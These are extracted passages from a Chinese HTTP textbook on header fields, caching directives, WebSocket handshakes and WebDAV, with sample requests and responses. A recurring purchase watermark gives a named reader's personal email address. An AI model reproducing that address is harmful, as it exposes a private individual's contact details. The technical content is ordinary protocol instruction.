    {"text": "080 表 6-1：通用首部字段 首部字段名 说明 Cache-Control 控制缓存的行为 Connection 逐跳首部、连接的管理 Date 创建报文的日期时间 Pragma 报文指令 Trailer 报文末端的首部一览 Transfer-Encoding 指定报文主体的传输编码方式 Upgrade 升级为其他协议 Via 代理服务器的相关信息 Warning 错误通知 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 表 6-2：请求首部字段 首部字段名 说明 Accept 用户代理可处理的媒体类型 Accept-Charset 优先的字符集 Accept-Encoding 优先的内容编码 Accept-Language 优先的语言（自然语言） Authorization Web 认证信息 Expect 期待服务器的特定行为 From 用户的电子邮箱地址 Host 请求资源所在服务器 If-Match 比较实体标记（ETag） If-Modified-Since 比较资源的更新时间 If-None-Match 比较实体标记（与 If-Match 相反） 081 If-Range 资源未更新时发送实体 Byte 的范围请求 If-Unmodified-Since 比较资源的更新时间（与 If-Modified-Since 相反） Max-Forwards 最大传输逐跳数 Proxy-Authorization 代理服务器要求客户端的认证信息 Range 实体的字节范围请求 Referer 对请求中 URI 的原始获取方 TE 传输编码的优先级 User-Agent HTTP 客户端程序的信息 表 6-3：响应首部字段 首部字段名 说明 Accept-Ranges 是否接受字节范围请求 Age 推算资源创建经过时间 ETag 资源的匹配信息 Location 令客户端重定向至指定 URI 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 （续） 首部字段名 说明 Proxy-Authenticate 代理服务器对客户端的认证信息 Retry-After 对再次发起请求的时机要求 Server HTTP 服务器的安装信息 Vary 代理服务器缓存的管理信息 WWW-Authenticate 服务器对客户端的认证信息 表 6-4：实体首部字段 首部字段名 说明 Allow 资源可支持的 HTTP 方法 Content-Encoding 实体主体适用的编码方式 Content-Language 实体主体的自然语言 082 Content-Length 实体主体的大小（单位 ：字节） Content-Location 替代对应资源的 URI Content-MD5 实体主体的报文摘要 Content-Range 实体主体的位置范围 Content-Type 实体主体的媒体类型 Expires 实体主体过期的日期时间 Last-Modified 资源的最后修改日期时间 6.2.5 非 HTTP/1.1 首部字段 在 HTTP 协议通信交互中使用到的首部字段，不限于 RFC2616 中 定义的 47 种首部字段。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 6.2.6 End-to-end 首部和 Hop-by-hop 首部 HTTP 首部字段将定义成缓存代理和非缓存代理的行为，分成 2 种 类型。 端到端首部（End-to-end●Header） 分在此类别中的首部会转发给请求 / 响应对应的最终接收目标，且 必须保存在由缓存生成的响应中，另外规定它必须被转发。 逐跳首部（Hop-by-hop●Header） 分在此类别中的首部只对单次转发有效，会因通过缓存或代理而不 再转发。"},
    {"text": "● ● Connection ● ● Keep-Alive ● ● Proxy-Authenticate ● ● Proxy-Authorization ● ● Trailer ● ● TE ● ● Transfer-Encoding ● ● Upgrade 6.3 HTTP/1.1通用首部字段 通用首部字段是指，请求报文和响应报文双方都会使用的首部。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 6.3.1 Cache-Control 通过指定首部字段 Cache-Control 的指令，就能操作缓存的工作机制。 如果有新缓存请给我 ~ 客户端 缓存服务器 源服务器 我希望你不要对此做 缓存…… 图：首部字段 Cache-Control 能够控制缓存的行为 指令的参数是可选的，多个指令之间通过“,”分隔。"},
    {"text": "Cache-Control: private, max-age=0, no-cache ■Cache-Control指令一览 可用的指令按请求和响应分类如下所示。 表 6-5：缓存请求指令 指令 参数 说明 no-cache 无 强制向源服务器再次验证 no-store 无 不缓存请求或响应的任何内容 max-age = [ 秒 ] 必需 响应的最大 Age 值 max-stale( = [ 秒 ]) 可省略 接收已过期的响应 min-fresh = [ 秒 ] 必需 期望在指定时间内的响应仍有效 no-transform 无 代理不可更改媒体类型 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 （续） 指令 参数 说明 only-if-cached 无 从缓存获取资源 cache-extension - 新指令标记（token） 表 6-6：缓存响应指令 指令 参数 说明 public 无 可向任意方提供响应的缓存 private 可省略 仅向特定用户返回响应 no-cache 可省略 缓存前必须先确认其有效性 no-store 无 不缓存请求或响应的任何内容 no-transform 无 代理不可更改媒体类型 must-revalidate 无 可缓存但必须再向源服务器进行确认 proxy-revalidate 无 要求中间缓存服务器对缓存的响应有效性再进行 085 确认 max-age = [ 秒 ] 必需 响应的最大 Age 值 s-maxage = [ 秒 ] 必需 公共缓存服务器响应的最大 Age 值 cache-extension - 新指令标记（token） 表示是否能缓存的指令 public 指令 Cache-Control: public 当指定使用 public 指令时，则明确表明其他用户也可利用缓存。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 private 指令 这份缓存只可以 提供给那个家伙 使用喔 ~ 客户端 缓存服务器 源服务器 Cache-Control: private 当指定 private 指令后，响应只以特定的用户作为对象，这与 public 指令的行为相反。"},
    {"text": "no-cache指令 客户端的角度 我不要缓存过的， 请给我从源服务器 那里拿来的资源 客户端 缓存服务器 源服务器 你可以缓存，但每次使用 前记得先向我确认一下 服务器的角度 Cache-Control: no-cache 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 使用 no-cache 指令的目的是为了防止从缓存中返回过期的资源。 客户端发送的请求中如果包含 no-cache 指令，则表示客户端将不会 接收缓存过的响应。"},
    {"text": "如果服务器返回的响应中包含 no-cache 指令，那么缓存服务器不能 对资源进行缓存。 源服务器以后也将不再对缓存服务器请求中提出的资 源有效性进行确认，且禁止其对响应资源进行缓存操作。 Cache-Control: no-cache=Location 由服务器返回的响应中，若报文首部字段 Cache-Control 中对 no-cache 字段名具体指定参数值，那么客户端在接收到这个被指定参数值 的首部字段对应的响应报文后，就不能使用缓存。"},
    {"text": "A 从字面意思上很容易把no-cache误解成为不缓存，但事实上no-cache代表不 缓存过期的资源，缓存会向源服务器进行有效期确认后处理资源，也许称为 do-not-serve-from-cache-without-revalidation更合适。"},
    {"text": "——译者注 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 指定缓存期限和认证的指令 s-maxage指令 Cache-Control: s-maxage=604800（单位 ：秒） s-maxage 指令的功能和 max-age 指令的相同，它们的不同点是 s-maxage 指令只适用于供多位用户使用的公共缓存服务器 A。"},
    {"text": "max-age指令 客户端的角度 088 要是缓存过期没超过一 周，就把它给我 客户端 缓存服务器 源服务器 一周内不必再向我确认， 你直接支配该缓存好了 服务器的角度 Cache-Control: max-age=604800（单位 ：秒） 当客户端发送的请求中包含 max-age 指令时，如果判定缓存资源的 A 这里一般指代理。"},
    {"text": "——译者注 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 缓存时间数值比指定时间的数值更小，那么客户端就接收缓存的资源。"},
    {"text": "另外，当指定 max-age 值为 0，那么缓存服务器通常需要将请求转发给 源服务器。 当服务器返回的响应中包含 max-age 指令时，缓存服务器将不对资 源的有效性再作确认，而 max-age 数值代表资源保存为缓存的最长时间。 应用 HTTP/1.1 版本的缓存服务器遇到同时存在 Expires 首部字段的 情况时，会优先处理 max-age 指令，而忽略掉 Expires 首部字段。 而 HTTP/1.0 版本的缓存服务器的情况却相反，max-age 指令会被忽略掉。"},
    {"text": "min-fresh指令 这缓存再过 60 秒还算 是新的吗？ 089 客户端 缓存服务器 Cache-Control: min-fresh=60（单位 ：秒） min-fresh 指令要求缓存服务器返回至少还未过指定时间的缓存资源。 比如，当指定 min-fresh 为 60 秒后，过了 60 秒的资源都无法作为 响应返回了。"},
    {"text": "max-stale指令 Cache-Control: max-stale=3600（单位 ：秒） 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 使用 max-stale 可指示缓存资源，即使过期也照常接收。"},
    {"text": "如果指令未指定参数值，那么无论经过多久，客户端都会接收响应； 如果指令中指定了具体数值，那么即使过期，只要仍处于 max-stale 指定 的时间内，仍旧会被客户端接收。"},
    {"text": "090 must-revalidate指令 Cache-Control: must-revalidate 使用 must-revalidate 指令，代理会向源服务器再次验证即将返回的 响应缓存目前是否仍然有效。"},
    {"text": "proxy-revalidate指令 Cache-Control: proxy-revalidate 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 proxy-revalidate 指令要求所有的缓存服务器在接收到客户端带有该 指令的请求返回响应之前，必须再次验证缓存的有效性。"},
    {"text": "● ● 控制不再转发给代理的首部字段 ● ● 管理持久连接 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ■控制不再转发给代理的首部字段 GET / HTTP/1.1 GET / HTTP/1.1 Upgrade: HTTP/1.1 Connection: Upgrade 首部字段 Upgrade 被删除后再转发 客户端 代理服务器 源服务器 把这个删除后再 转发哦 Connection: 不再转发的首部字段名 092 在客户端发送请求和服务器返回响应内，使用 Connection 首部字 段，可控制不再转发给代理的首部字段（即 Hop-by-hop 首部）。 ■管理持久连接 Connection close 客户端 服务器 这下我和你的关系 暂且结束了 Connection: close 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 HTTP/1.1 版本的默认连接都是持久连接。"},
    {"text": "① GET / HTTP/1.1 Connection: Keep-Alive 客户端 ② HTTP/1.1 200 OK 服务器 ... Keep-Alive: timeout=10, max=500 Connection: Keep-Alive ... 093 Connection: Keep-Alive HTTP/1.1 之前的 HTTP 版本的默认连接都是非持久连接。 为此， 如果想在旧版本的 HTTP 协议上维持持续连接，则需要指定 Connection 首部字段的值为 Keep-Alive。 如上图①所示，客户端发送请求给服务器时，服务器端会像上图② 那样加上首部字段 Keep-Alive 及首部字段 Connection 后返回响应。"},
    {"text": "HTTP 报文创建于 2012 年 7 月 3 日（周二）4 点 40 分 59 秒 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 HTTP/1.1 协议使用在 RFC1123 中规定的日期时间的格式，如下 示例。 Date: Tue, 03 Jul 2012 04:40:59 GMT 之前的 HTTP 协议 版 本 中 使 用 在 RFC850 中 定 义 的 格 式， 如 下 所示。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 我不接收缓存 Pragma: no-cache 客户端 中间服务器 所 有 的 中 间 服 务 器 如 果 都 能 以 HTTP/1.1 为 基 准， 那 直 接 采 用 Cache-Control: no-cache 指定缓存的处理方式是最为理想的。"},
    {"text": "Cache-Control: no-cache Pragma: no-cache 095 6.3.5 Trailer 在报文的最后写了很 重要的东西，记得要 仔细阅读哦 客户端 服务器 首部字段 Trailer 会事先说明在报文主体后记录了哪些首部字段。"},
    {"text": "HTTP/1.1 200 OK Date: Tue, 03 Jul 2012 04:40:56 GMT Content-Type: text/html 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ... Transfer-Encoding: chunked Trailer: Expires ...(报文主体)... 0 Expires: Tue, 28 Sep 2004 23:59:59 GMT 以上用例中，指定首部字段 Trailer 的值为 Expires，在报文主体之 后（分块长度 0 之后）出现了首部字段 Expires。"},
    {"text": "6.3.6 Transfer-Encoding 用这种传输编码方式发送哦 096 Transfer-Encoding: chunked 客户端 服务器 首部字段 Transfer-Encoding 规定了传输报文主体时采用的编码 方式。"},
    {"text": "HTTP/1.1 200 OK Date: Tue, 03 Jul 2012 04:40:56 GMT Cache-Control: public, max-age=604800 Content-Type: text/javascript; charset=utf-8 Expires: Tue, 10 Jul 2012 04:40:56 GMT X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Content-Encoding: gzip 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 Transfer-Encoding: chunked Connection: keep-alive cf0 ← 16 进制 (10 进制为 3312) ...3312字节分块数据... 392 ← 16 进制 (10 进制为 914) ...914字节分块数据... 0 以上用例中，正如在首部字段 Transfer-Encoding 中指定的那样，有 效使用分块传输编码，且分别被分成 3312 字节和 914 字节大小的分块 数据。"},
    {"text": "097 6.3.7 Upgrade 首部字段 Upgrade 用于检测 HTTP 协议及其他协议是否可使用更高 的版本进行通信，其参数值可以用来指定一个完全不同的通信协议。"},
    {"text": "GET /index.htm HTTP/1.1 Upgrade: TLS/1.0 Connection: Upgrade HTTP/1.1 101 Switching Protocols 客户端 Upgrade: TLS/1.0, HTTP/1.1 服务器 Connection: Upgrade 上图用例中，首部字段 Upgrade 指定的值为 TLS/1.0。 请注意此处 两 个 字 段 首 部 字 段 的 对 应 关 系，Connection 的 值 被 指 定 为 Upgrade。 Upgrade 首部字段产生作用的 Upgrade 对象仅限于客户端和邻接服务器 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 之间。 因此，使用首部字段 Upgrade 时，还需要额外指定 Connection: Upgrade。 对 于 附 有 首 部 字 段 Upgrade 的 请 求， 服 务 器 可 用 101 Switching Protocols 状态码作为响应返回。"},
    {"text": "6.3.8 Via 使用首部字段 Via 是为了追踪客户端与服务器之间的请求和响应报 文的传输路径。 报文经过代理或网关时，会先在首部字段 Via 中附加该服务器的信 息，然后再进行转发。"},
    {"text": "098 ① GET / HTTP/1.1 ② GET / HTTP/1.1 Via: 1.0 gw.hackr.jp（Squid/3.1） 客户端 ③ GET / HTTP/1.1 Via: 1.0 gw.hackr.jp（Squid/3.1）, 1.1 a1.example.com（Squid/2.7） 代理服务器 A 代理服务器 B 各个代理服务器会往 Via 首部添加自 身服务器的信息。 源服务器 上图用例中，在经过代理服务器 A 时，Via 首部附加了“1.0 gw. hackr.jp (Squid/3.1)”这样的字符串值。"},
    {"text": "接下来经过代理服务器 B 时亦是如此， 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 在 Via 首部附加服务器信息，也可增加 1 个新的 Via 首部写入服务器 信息。"},
    {"text": "表 6-7：HTTP/1.1 警告码 警告码 警告内容 说明 110 Response is stale（响应已过期） 代理返回已过期的资源 111 Revalidation failed（再验证失败） 代理再验证资源有效性时失败（服务 器无法到达等原因） 112 Disconnection operation （断开连接 代理与互联网连接被故意切断 操作） 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 （续） 警告码 警告内容 说明 113 Heuristic expiration（试探性过期） 响应的使用期超过 24 小时（有效缓存 的设定时间大于 24 小时的情况下） 199 Miscellaneous warning（杂项警告） 任意的警告内容 214 Transformation applied（使用了转换） 代理对内容编码或媒体类型等执行了 某些处理时 299 Miscellaneous persistent warning 任意的警告内容 （持久杂项警告） 6.4 请求首部字段 请求首部字段是从客户端往服务器端发送请求报文中所使用的字 段，用于补充请求的附加信息、客户端信息、对响应内容相关的优先级 100 等内容。 我要发送过来了哦 客户端 服务器 图：HTTP 请求报文中使用的首部字段 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 6.4.1 Accept 那份资源最好发给我 HTML 格式的，如果没有，发给我 TEXT 格式的也行啊 Accept: text/plain; q=0.3, text/htm HTML 格式 客户端 服务器 HTML 格式 TEXT 格式 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept 首部字段可通知服务器，用户代理能够处理的媒体类型及媒 101 体类型的相对优先级。"},
    {"text": "● ● 文本文件 text/html, text/plain, text/css ... application/xhtml+xml, application/xml ... ● ● 图片文件 image/jpeg, image/gif, image/png ... ● ● 视频文件 video/mpeg, video/quicktime ... ● ● 应用程序使用的二进制文件 application/octet-stream, application/zip ... 比如，如果浏览器不支持 PNG 图片的显示，那 Accept 就不指定 image/png，而指定可处理的 image/gif 和 image/jpeg 等图片类型。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 若想要给显示的媒体类型增加优先级，则使用 q= 来额外表示权重 值 A，用分号（;）进行分隔。"},
    {"text": "6.4.2 Accept-Charset 我想以这个字符集 阅读返回的页面 Accept-Charset: iso-8859-5, unicode-1-1;q=0.8 客户端 服务器 102 字符集 iso-8859-5 Accept-Charset: iso-8859-5, unicode-1-1;q=0.8 Accept-Charset 首部字段可用来通知服务器用户代理支持的字符集 及字符集的相对优先顺序。"},
    {"text": "——译者注 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 6.4.3 Accept-Encoding 报文主体被压缩也 没关系的 客户端 服务器 啪！"},
    {"text": "● ● gzip 由文件压缩程序 gzip（GNU zip）生成的编码格式（RFC1952）， 采 用 Lempel-Ziv 算 法（LZ77） 及 32 位 循 环 冗 余 校 验（Cyclic Redundancy Check，通称 CRC）。 ● ● compress 由 UNIX 文件压缩程序 compress 生成的编码格式，采用 Lempel-Ziv-Welch 算法（LZW）。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ● ● identity 不执行压缩或不会变化的默认编码格式 采用权重 q 值来表示相对优先级，这点与首部字段 Accept 相同。"},
    {"text": "6.4.4 Accept-Language 我想要中文版的 客户端 服务器 104 嗨，发送给你 中文版的页面 我想要英文版的 嗨，发送给你 英文版的页面 客户端 Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3 首部字段 Accept-Language 用来告知服务器用户代理能够处理的自 然语言集（指中文或英文等），以及自然语言集的相对优先级。"},
    {"text": "在上述 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 图例中，客户端在服务器有中文版资源的情况下，会请求其返回中文版 对应的响应，没有中文版时，则请求返回英文版响应。"},
    {"text": "6.4.5 Authorization WWW-Authenticate 该页面需要 HTTP 认证， GET /index.htm 把你的认证信息发给我 401 Unauthorized 客户端 WWW-Authenticate: Basic … 服务器 来，我把认证信息 105 发送给你 GET /index.htm Authorization: Basic dWVub3NlbjpwYXNzd29yZA== 200 OK Authorization: Basic dWVub3NlbjpwYXNzd29yZA== 首部字段 Authorization 是用来告知服务器，用户代理的认证信息 （证书值）。 通常，想要通过服务器认证的用户代理会在接收到返回 的 401 状 态 码 响 应 后， 把 首 部 字 段 Authorization 加 入 请 求 中。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 6.4.7 From 如果有事请联系 这个电子邮箱 客户端 服务器 From: info@hackr.jp 首部字段 From 用来告知服务器使用用户代理的用户的电子邮件地 址。"},
    {"text": "6.4.8 Host 啊，是在找我 我有事要找他 虚拟主机 www.hackr.jp 客户端 服务器 Host: www.hackr.jp 虚拟主机 www.usagidesign.jp 图：虚拟主机运行在同一个 IP 上，因此使用首部字段 Host 加以区分 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Host: www.hackr.jp 首部字段 Host 会告知服务器，请求的资源所处的互联网主机名和 端口号。"},
    {"text": "Host 首部字段在 HTTP/1.1 规范内是唯一一个必须被包含在请 求内的首部字段。 首部字段 Host 和以单台服务器分配多个域名的虚拟主机的工作机 制有很密切的关联，这是首部字段 Host 必须存在的意义。"},
    {"text": "108 Host: 6.4.9 If-Match If-Match If-Modified-Since If-None-Match 如果你能符合条件，我 If-Range 就会接受你的请求 If-Unmodified-Since 客户端 服务器 图：附带条件请求 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 形如 If-xxx 这种样式的请求首部字段，都可称为条件请求。"},
    {"text": "GET /index.html If-Match: \"123456\" index.html 实体标记（ETag） 123456 客户端 服务器 200 OK 实体标记（ETag）是与特定资源关联的 确定值。 资源更新后ETag也会随之更新 GET /index.htm 109 If-Match: \"123456\" index.html 实体标记（ETag） 客户端 服务器 567890 412 Precondition Failed 图：只有当 If-Match 的字段值跟 ETag 值匹配一致时，服务器才会接受请求 If-Match: \"123456\" 首部字段 If-Match，属附带条件之一，它会告知服务器匹配资源所 用的实体标记（ETag）值。"},
    {"text": "（请参 照本章有关首部字段 ETag 的说明） 服务器会比对 If-Match 的字段值和资源的 ETag 值，仅当两者一致 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 时，才会执行请求。"},
    {"text": "6.4.10 If-Modified-Since GET /index.htm If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT 因为是在 2004 年 4 月 15 日之后更新过的资 源，所以我可以接受 客户端 服务器 200 OK Last-Modified: Sun, 29 Aug 2004 14:03:05 GMT 110 GET /index.htm If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT 这份资源在 2004 年 4 月 15 日之后未更新过，所 以我不能接受 客户端 服务器 304 Not Modified 图： 如果在 If-Modified-Since 字段指定的日期时间后，资源发生了更新，服务 器会接受请求 If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT 首部字段 If-Modified-Since，属附带条件之一，它会告知服务器若 If-Modified-Since 字段值早于资源的更新时间，则希望能处理该请求。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 而在指定 If-Modified-Since 字段值的日期时间之后，如果请求的资源都 没有过更新，则返回状态码 304 Not Modified 的响应。 If-Modified-Since 用于确认代理或客户端拥有的本地资源的有效 性。"},
    {"text": "6.4.11 If-None-Match PUT /sample.html 我这没有 Sample.html，所以 If-None-Match: * 可以处理你的请求 因为资源不存在，所以对 应的 ETag 也不存在 客户端 服务器 111 200 OK 图： 只 有 在 If-None-Match 的 字 段 值 与 ETag 值 不 一 致 时， 可 处 理 该 请 求。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 6.4.12 If-Range If-Range 字段值若是跟 ETag 值或更新的日期时间匹配一致， 那么就作为范围请求处理 GET /index.html If-Range: \"123456\" Range: bytes=5001-10000 index.htm 获取部分 实体标记（ETag） index.html 123456 客户端 服务器 206 Partial Content Content-Range: bytes 5001-10000/10000 Content-Length: 5000 若不一致，则忽略范围请求，返回全部资源 112 GET /index.html If-Range: \"123456\" Range: bytes=5001-10000 index.htm 实体标记（ETag） 客户端 服务器 567890 200 OK ETag: \"567890\" 首部字段 If-Range 属于附带条件之一。 它告知服务器若指定的 If-Range 字段值（ETag 值或者时间）和请求资源的 ETag 值或时间相一 致时，则作为范围请求处理。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 如果不使用首部字段If-Range则需要进行两次处理 GET / If-Match: \"123456\" 412 Precondition Failed Range: 5001-10000 你要的（部分）资源已经没有了 把剩余的部分 你重新再发一个请求吧 发给我 客户端 服务器 明白了 来，把新的部分发给我 200 OK 113 GET / ETag: \"567890\" 下面我们思考一下不使用首部字段 If-Range 发送请求的情况。"},
    {"text": "6.4.13 If-Unmodified-Since If-Unmodified-Since: Thu, 03 Jul 2012 00:00:00 GMT 首部字段 If-Unmodified-Since 和首部字段 If-Modified-Since 的作用 相反。"},
    {"text": "6.4.14 Max-Forwards 只能再往下 转发两次哦 由我返回响应啊 Max-Forwards: 2 Max-Forwards: 1 Max-Forwards: 0 客户端 代理服务器 A 代理服务器 B 源服务器 图：每次转发数值减 1。 当数值变 0 时返回响应 114 Max-Forwards: 10 通 过 TRACE 方 法 或 OPTIONS 方 法， 发 送 包 含 首 部 字 段 Max-Forwards 的请求时，该字段以十进制整数形式指定可经过的服务器最大 数目。 服务器在往下一个服务器转发请求之前，Max-Forwards 的值减 1 后重新赋值。 当服务器接收到 Max-Forwards 值为 0 的请求时，则不 再进行转发，而是直接返回响应。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 怎么不见响应 由于未知原因 返回呢…… 导致请求失败 客户端 代理服务器 A 代理服务器 B 源服务器 图：代理 B 到源服务器的请求失败了，但客户端不知道 怎么不见响应 返回呢…… 客户端 代理服务器 A 代理服务器 B 源服务器 115 由于未知原因导致请求 陷入循环 图：由于未知原因，导致请求陷入代理之间的循环，但客户端不知道 6.4.15 Proxy-Authorization Proxy-Authorization: Basic dGlwOjkpNLAGfFY5 接收到从代理服务器发来的认证质询时，客户端会发送包含首部字 段 Proxy-Authorization 的请求，以告知服务器认证所需要的信息。"},
    {"text": "这个行为是与客户端和服务器之间的 HTTP 访问认证相类似的，不 同之处在于，认证行为发生在客户端与代理之间。 客户端与服务器之间 的认证，使用首部字段 Authorization 可起到相同作用。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 9 章 基于 HTTP 的功能追加协议 减少通信量 只要建立起 WebSocket 连接，就希望一直保持连接状态。"},
    {"text": "为了实现 WebSocket 通信，在 HTTP 连接建立之后，需要完成一次 “握手”（Handshaking）的步骤。 ■握手·请求 为了实现 WebSocket 通信，需要用到 HTTP 的 Upgrade 首部字段， 告知服务器通信协议发生改变，以达到握手的目的。 GET /chat HTTP/1.1 Host: server.example.com 187 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Origin: http://example.com Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 Sec-WebSocket-Key 字段内记录着握手过程中必不可少的键值。"},
    {"text": "HTTP/1.1 101 Switching Protocols Upgrade: websocket 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= Sec-WebSocket-Protocol: chat Sec-WebSocket-Accept 的字段值是由握手请求中的 Sec-WebSocket-Key 的字段值生成的。"},
    {"text": "客户端 服务器 握手·请求 连接刚开始时还是 Upgrade: websocket HTTP 协议，所以由 HTTP 握手·响应 客户端先发起连接 188 101 Switching Protocols 切换成 WebSocket 协议 WebSocket 的 URL 格式 ws://example.com/ WebSocket wss://example.com/ 发送数据 WebSocket 协议支 发送数据 持全双工通信，因 此服务器端不必等 发送数据 待请求，可直接发 送数据 图：WebSocket 通信 ■ WebSocket●API JavaScript 可调用“The WebSocket API”（http://www.w3.org/TR/ websockets/，由 W3C 标准制定）内提供的 WebSocket 程序接口，以实 现 WebSocket 协议下全双工通信。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 9 章 基于 HTTP 的功能追加协议 var socket = new WebSocket('ws://game.example.com:12010/updates'); socket.onopen = function () { setInterval(function() { if (socket.bufferedAmount == 0) socket.send(getUpdateData()); }, 50); }; 9.4 期盼已久的 HTTP/2.0 目前主流的 HTTP/1.1 标准，自 1999 年发布的 RFC2616 之后再未 进行过改订。"},
    {"text": "负责互联网技术标准的 IETF（Internet Engineering Task Force，互 联网工程任务组）创立 httpbis（Hypertext Transfer Protocol Bis，http:// 189 datatracker.ietf.org/wg/httpbis/）工作组，其目标是推进下一代 HTTP—— HTTP/2.0 在 2014 年 11 月实现标准化。"},
    {"text": "● ● SPDY ● ● HTTP●Speed ＋ Mobility ● ● Network-Friendly●HTTP●Upgrade HTTP Speed ＋ Mobility 由微软公司起草，是用于改善并提高移动 端 通 信 时 的 通 信 速 度 和 性 能 的 标 准。"},
    {"text": "表 9-1 压缩 SPDY、Friendly 多路复用 SPDY TLS 义务化 Speed ＋ Mobility 协商 Speed ＋ Mobility，Friendly 客户端拉曳（Client Pull）/ 服务器推送 Speed ＋ Mobility （Server Push） 190 流量控制 SPDY WebSocket Speed ＋ Mobility 注： HTTP Speed ＋ Mobility 简写为 Speed ＋ Mobility，Network-Friendly HTTP Upgrade 简写为 Friendly。"},
    {"text": "9.5 Web 服务器管理文件的 WebDAV WebDAV（Web-based Distributed Authoring and Versioning，基于万 维网的分布式创作和版本控制）是一个可对 Web 服务器上的内容直接 进行文件复制、编辑等操作的分布式文件系统。"},
    {"text": "除了创建、删除文件等基本功能，它还具备文件创建者管理、文件 编辑过程中禁止其他用户内容覆盖的加锁功能，以及对文件内容修改的 版本控制功能。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 9 章 基于 HTTP 的功能追加协议 WebDAV WebDAV WebDAV 直接对 Web 服务器上的文件进行操作 服务器 客户端 复制 / 剪切文件 加锁 / 解锁文件 图：WebDAV 191 使用 HTTP/1.1 的 PUT 方法和 DELETE 方法，就可以对 Web 服务 器上的文件进行创建和删除操作。"},
    {"text": "文件 C 属性 文件名：文件 C 大小：1024KB 创建者：ueno sen 文件 A 文件 B 文件 C 集合 A 集合 B 图：WebDAV 扩展的概念 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 集合（Collection）：是一种统一管理多个资源的概念。"},
    {"text": "PROPFIND ：获取属性 PROPPATCH ：修改属性 MKCOL ：创建集合 192 COPY ：复制资源及属性 MOVE ：移动资源 LOCK ：资源加锁 UNLOCK ：资源解锁 为配合扩展的方法，状态码也随之扩展。"},
    {"text": "102●Processing ：可正常处理请求，但目前是处理中状态 207●Multi-Status ：存在多种状态 422●Unprocessible●Entity ：格式正确，内容有误 423●Locked ：资源已被加锁 424●Failed●Dependency ：处理与某请求关联的请求失败，因此不再 维持依赖关系 507●Insufficient●Storage ：保存空间不足 ■ WebDAV 的请求实例 下面是使用 PROPFIND 方法对 http://www.example.com/file 发起获 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 9 章 基于 HTTP 的功能追加协议 取属性的请求。 PROPFIND /file HTTP/1.1 Host: www.example.com Content-Type: application/xml; charset=\"utf-8\" Content-Length: 219 <?xml version=\"1.0\" encoding=\"utf-8\" ?> <D:propfind xmlns:D=\"DAV:\"> <D:prop xmlns:R=\"http://ns.example.com/boxschema/\"> <R:bigbox/> <R:author/> <R:DingALing/> <R:Random/> </D:prop> </D:propfind> ■ WebDAV 的响应实例 193 下面是针对之前的 PROPFIND 方法，返回 http://www.example.com/ file 的属性的响应。 HTTP/1.1 207 Multi-Status Content-Type: application/xml; charset=\"utf-8\" Content-Length: 831 <?xml version=\"1.0\" encoding=\"utf-8\" ?> <D:multistatus xmlns:D=\"DAV:\"> <D:response xmlns:R=\"http://ns.example.com/boxschema/\"> <D:href>http://www.example.com/file</D:href> <D:propstat> <D:prop> <R:bigbox> <R:BoxType>Box type A</R:BoxType> </R:bigbox> <R:author> <R:Name>J.J. Johnson</R:Name> </R:author> </D:prop> 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> <D:propstat> <D:prop><R:DingALing/><R:Random/></D:prop> <D:status>HTTP/1.1 403 